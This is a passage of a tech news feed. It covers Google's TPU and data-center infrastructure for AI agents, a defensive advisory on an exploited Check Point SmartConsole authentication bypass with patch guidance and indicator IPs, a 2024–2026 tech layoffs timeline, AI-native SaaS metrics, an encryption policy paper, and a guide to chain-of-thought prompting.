ML: People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, PyTorch and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.



NW: How has the orchestration platform changed for agents?



ML: Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming GKE [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the GKE stack: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.



NW: What is the role of the network and storage infrastructure?



ML: The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. We created the Virgo network — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.



In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.



We’ve introduced Managed Lustre 10T, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.



NW: How does KV cache strategy differ between training and inference?



ML: For TPU-8i, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.



We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.



CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild
Thu, 23 Jul 2026 14:42:23 +0200
Overview
On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.
Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.
The advisory addresses three vulnerabilities in total:
CVE CVSS Description Affected Products Exploitation Status
CVE-2026-16232 Vendor: 9.3 (Critical)
CISA: 9.1 (Critical) Authentication bypass via SmartConsole application token Security Management, Multi-Domain Management Exploited in the wild
CVE-2026-62144 Vendor: 9.3 (Critical)
CISA: 9.1 (Critical) Management authentication bypass and privilege escalation Security Management, Multi-Domain Management No known exploitation
CVE-2026-62145 7.5 (High) Local privilege escalation in GaiaOS WebUI Firewall, Multi-Domain Management, Multi-Domain Log Server No known exploitation
Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.
Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.
Mitigation guidance
Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.
The following versions are affected by CVE-2026-16232:
R82.10: fixed in Jumbo Hotfix Take 36 and later
R82: fixed in Jumbo Hotfix Take 118 and later
R81.20: fixed in Jumbo Hotfix Take 158 and later
R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified
CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.
Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:
Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets
Protect Management access with a firewall and restrict access to trusted IP addresses
Verify that implied rules for control connections are enabled
These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.
Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.
Indicators of compromise
Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:
151.241.99[.]207
151.241.99[.]233
158.62.198[.]182
192.142.10[.]99
139.28.37[.]250
194.213.18[.]137
Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.
Updates
July 23, 2026: Initial publication.


Poolside's Laguna S 2.1 is a small open-weight coding model that punches well above its size
Thu, 23 Jul 2026 14:36:22 +0200

        Poolside has released Laguna S 2.1, its third coding model in three months. Rather than rely on raw scale, the company trained it to keep checking its work, revise failed approaches, and avoid giving up too soon during long agentic sessions. The compact model beats several much larger rivals in benchmarks. Poolside says it also solved a math problem that had been open since 1975 for under 10 cents.
The article Poolside's Laguna S 2.1 is a small open-weight coding model that punches well above its size appeared first on The Decoder.


Tech layoffs: A 2026 timeline
Thu, 23 Jul 2026 14:35:03 +0200

		
					  
						




Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.



But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.



According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.



Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.



Notable tech layoffs in 2026




Monday.com



Microsoft



Meta



Cisco



Cloudflare



Oracle



Atlassian 



Salesforce



Amazon



Ericsson




July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era



The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.



July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams



As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.



June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024



AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.



May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce



The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.



May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking



Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.



May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring



About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.



April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk



Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)



March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion



Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.



March 11, 2026: Tech layoffs surpass 45,000 in early 2026



A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.



February 10, 2026: Salesforce lays off staffers as executive leadership churn continues



Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.



January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent



As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.



January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden



 Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.



January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business



Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.



Layoffs in 2025




Cisco



Oracle



Windsurf



Intel



Microsoft



Crowdstrike



HPE



Autodesk



HPE



CISA



Workday



Salesforce



Meta




Global tech-sector layoffs surpass 244,000 in 2025



Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.



October 28, 2025: Amazon to cut 14,000 jobs across company



Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.



August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs



Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date 



August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door



Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.



July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’



Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker



July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs



Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. 



July 2, 2025: Microsoft will cut 9,000 workers



Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.



June 17, 2025: Intel looks to factory layoffs to return to profitability



Intel will lay off up to 20% of its manufacturing sector employees starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.



May 7, 2025: CrowdStrike to lay off 5% of staff



CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs



March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy



CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.



Feb. 27, 2025: Autodesk to lay off 9% of workforce



Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. 



Feb. 27, 2025: HP to lay off 2,000 more



As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. 



Feb. 21, 2025: CISA lays off 130



Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.



Feb. 5, 2025: Workday lays off 1,750



As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.



Feb. 4, 2025: Salesforce lays off over 1,000



At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.



Jan. 14, 2025: Meta will lay off 5% of workforce



Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.



Tech layoffs in 2024




Equinix



AMD



Freshworks



Cisco



General Motors



Intel



OpenText



Microsoft



AWS



Dell




Nov. 26, 2024: Equinix to cut 3% of staff



Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.



Nov. 13, 2024: AMD to cut 4% of workforce



AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. 



Nov. 7, 2024: Freshworks lays off 660



Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.



Sept. 17, 2024: Cisco lays off 6,000



After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. 



Aug. 20, 2024: General Motors lays off 1,000 software staff



More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.



August 1, 2024: Intel removes 15,000 roles



Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”



July 4, 2024: OpenText to lay off 1,200



OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.



June 4, 2024: Microsoft lays off staff in Azure division



Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.



April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round



Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores. 



April 1, 2024: Dell acknowledges 13,000 job cuts



Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.



See news of earlier layoffs.







I use Anthropic's Claude AI tools for very different jobs: How to pick between models, Code, and Cowork
Thu, 23 Jul 2026 14:34:45 +0200
Here's how Anthropic's AI tools work, what they can accomplish, and why security, cost, and your oversight still matter.


We Asked an Independent Lab to Time Us. Here’s What They Found.
Thu, 23 Jul 2026 14:32:09 +0200

A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCenter, deploys three VMs from the gold template, SSHs into each node, regenerates machine … Continued
The post We Asked an Independent Lab to Time Us. Here’s What They Found. appeared first on VMware Cloud Foundation (VCF) Blog.


Google transforms its data center architecture for agent era
Thu, 23 Jul 2026 14:23:05 +0200

		
					  
						




Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.



“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said Mark Lohmeyer, vice president and general manager for AI and computing infrastructure at Google.



Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.



In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But agents could increase inference transactions by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.



“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.



Efficient data flow is key so agents can act, reason, and decide faster. 



Google adjusted the Google Kubernetes Engine into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.



Google also made drastic improvements to its silicon to support its middleware changes. It recently introduced new AI chips, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.



The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.



A new CPU called Axion N4A is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.



Google also made many network and storage improvements to cut training and inference time. A new technology called TPUDirect can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.



A networking technology called Virgo can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.



A new technology called Pathways is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.



“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.



Weighing Google’s AI data-center stack



Google is the only provider with its own data centers, software, hardware and models, said Jack Gold, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.



Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.



“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.



But Logan Wolfe, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.



The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.



“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.



The new value architecture of the AI-native SaaS era
Thu, 23 Jul 2026 14:05:04 +0200

		
					  
						




The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.



These changes impact everything from pricing to valuations.




The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.



The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.



While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.



Why do software companies need new metrics?



Why the rethink, and why now? There are five major forces that are driving this shift:




The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.



The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.



Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.



Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.



Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.




How this shift is impacting pricing



Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.



Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.



Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.



Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.



Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.



How AI upends classic SaaS metrics



When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?



But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:



Revenue composition




Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.



Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.



Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.



Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.




Margin reality




Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.



Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.



Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.



AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.




Behavioral and value signals




Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.



Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.



Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.




Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.



What does this mean for enterprise value calculations?



As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.



Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.



For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.



In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.



We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.



Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.



What this means for leaders, boards and investors



The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.



While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.



It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.



The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.



This article is published as part of the Foundry Expert Contributor Network.
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End-to-End Encryption and “Going Dark”
Thu, 23 Jul 2026 13:15:16 +0200
New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.
This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...


Stop asking AI nicely: Here’s how to get work-ready results every time
Thu, 23 Jul 2026 13:07:21 +0200

		
					  
						




Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.



Why advanced prompting still matters in enterprise settings



Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.



1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning



The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.



What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.



Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”



After (CoT prompt):



“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  



Results: Accuracy and depth improved dramatically.



Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.



Template you can use:



You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]



2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths



For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.


